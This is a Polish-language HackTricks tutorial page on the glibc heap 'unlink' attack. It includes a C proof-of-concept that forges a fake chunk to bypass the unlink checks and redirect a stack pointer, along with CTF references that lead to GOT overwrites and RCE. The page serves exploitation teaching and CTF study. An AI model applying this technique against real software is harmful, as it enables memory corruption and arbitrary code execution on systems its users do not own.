8.0 KiB

Unlink Attack

{{#include ../../banners/hacktricks-training.md}}

Podstawowe informacje

Kiedy ten atak został odkryty, głównie pozwalał na WWW (Write What Where), jednak dodano sprawdzenia, co sprawiło, że nowa wersja ataku stała się bardziej interesująca, bardziej złożona i bezużyteczna.

Przykład kodu:

Kod ```c #include #include #include #include

// Altered from d778318b6a/assets/files/unlink_exploit.c to make it work

struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };

int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];

// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0; }

</details>

- Atak nie działa, jeśli używane są tcaches (po 2.26)

### Cel

Ten atak pozwala na **zmianę wskaźnika do kawałka, aby wskazywał 3 adresy przed sobą**. Jeśli ta nowa lokalizacja (otoczenie, w którym znajdował się wskaźnik) ma interesujące rzeczy, takie jak inne kontrolowane alokacje / stos..., możliwe jest ich odczytanie/zapisanie, aby spowodować większe szkody.

- Jeśli ten wskaźnik znajdował się na stosie, ponieważ teraz wskazuje 3 adresy przed sobą, a użytkownik potencjalnie może go odczytać i zmodyfikować, możliwe będzie wycieknięcie wrażliwych informacji ze stosu lub nawet modyfikacja adresu powrotu (może) bez dotykania canary.
- W przykładach CTF ten wskaźnik znajduje się w tablicy wskaźników do innych alokacji, dlatego, zmieniając go, aby wskazywał 3 adresy przed i mając możliwość odczytu i zapisu, możliwe jest sprawienie, że inne wskaźniki będą wskazywać na inne adresy.\
Ponieważ użytkownik potencjalnie może również odczytywać/zapisywać inne alokacje, może wyciekować informacje lub nadpisywać nowe adresy w dowolnych lokalizacjach (jak w GOT).

### Wymagania

- Pewna kontrola w pamięci (np. stos), aby stworzyć kilka kawałków, nadając wartości niektórym z atrybutów.
- Wyciek ze stosu w celu ustawienia wskaźników fałszywego kawałka.

### Atak

- Istnieje kilka kawałków (chunk1 i chunk2)
- Atakujący kontroluje zawartość chunk1 i nagłówki chunk2.
- W chunk1 atakujący tworzy strukturę fałszywego kawałka:
- Aby obejść zabezpieczenia, upewnia się, że pole `size` jest poprawne, aby uniknąć błędu: `corrupted size vs. prev_size while consolidating`
- a pola `fd` i `bk` fałszywego kawałka wskazują, gdzie przechowywany jest wskaźnik chunk1 z przesunięciami -3 i -2 odpowiednio, więc `fake_chunk->fd->bk` i `fake_chunk->bk->fd` wskazują na pozycję w pamięci (stos), gdzie znajduje się rzeczywisty adres chunk1:

<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

- Nagłówki chunk2 są modyfikowane, aby wskazywały, że poprzedni kawałek nie jest używany i że rozmiar to rozmiar zawartego fałszywego kawałka.
- Gdy drugi kawałek jest zwalniany, ten fałszywy kawałek jest odłączany, co się dzieje:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Wcześniej zrobiono, że `fake_chunk->fd->bk` i `fake_chunk->bk->fd` wskazują na to samo miejsce (lokalizacja w stosie, gdzie przechowywany był `chunk1`, więc była to ważna lista powiązana). Ponieważ **oba wskazują na tę samą lokalizację**, tylko ostatni (`fake_chunk->bk->fd = fake_chunk->fd`) wejdzie w **efekt**.
- To **nadpisze wskaźnik do chunk1 na stosie na adres (lub bajty) przechowywane 3 adresy przed w stosie**.
- Dlatego, jeśli atakujący mógłby ponownie kontrolować zawartość chunk1, będzie mógł **zapisać wewnątrz stosu**, mając potencjalnie możliwość nadpisania adresu powrotu, omijając canary i modyfikując wartości oraz wskaźniki lokalnych zmiennych. Nawet ponownie modyfikując adres chunk1 przechowywany w stosie na inną lokalizację, gdzie, jeśli atakujący mógłby ponownie kontrolować zawartość chunk1, mógłby pisać wszędzie.
- Zauważ, że to było możliwe, ponieważ **adresy są przechowywane w stosie**. Ryzyko i wykorzystanie mogą zależeć od **tego, gdzie są przechowywane adresy fałszywego kawałka**.

<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

## Odniesienia

- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Chociaż byłoby dziwnie znaleźć atak unlink nawet w CTF, tutaj masz kilka opisów, gdzie ten atak był używany:
- Przykład CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- W tym przykładzie, zamiast stosu, jest tablica alokowanych adresów. Atak unlink jest przeprowadzany, aby móc alokować kawałek tutaj, a tym samym kontrolować wskaźniki tablicy alokowanych adresów. Następnie istnieje inna funkcjonalność, która pozwala na modyfikację zawartości kawałków w tych adresach, co pozwala na wskazywanie adresów do GOT, modyfikację adresów funkcji, aby uzyskać wycieki i RCE.
- Inny przykład CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Podobnie jak w poprzednim przykładzie, istnieje tablica adresów alokacji. Możliwe jest przeprowadzenie ataku unlink, aby sprawić, że adres do pierwszej alokacji wskaże kilka pozycji przed rozpoczęciem tablicy i nadpisze tę alokację w nowej pozycji. Dlatego możliwe jest nadpisanie wskaźników innych alokacji, aby wskazywały na GOT funkcji atoi, wydrukować to, aby uzyskać wyciek libc, a następnie nadpisać GOT atoi adresem do jednego gadżetu.
- Przykład CTF z niestandardowymi funkcjami malloc i free, które wykorzystują lukę bardzo podobną do ataku unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- Istnieje przepełnienie, które pozwala na kontrolowanie wskaźników FD i BK niestandardowego malloc, które będą (niestandardowo) zwalniane. Ponadto, sterta ma bit exec, więc możliwe jest wycieknięcie adresu sterty i wskazanie funkcji z GOT do kawałka sterty z shellcode do wykonania.

{{#include ../../banners/hacktricks-training.md}}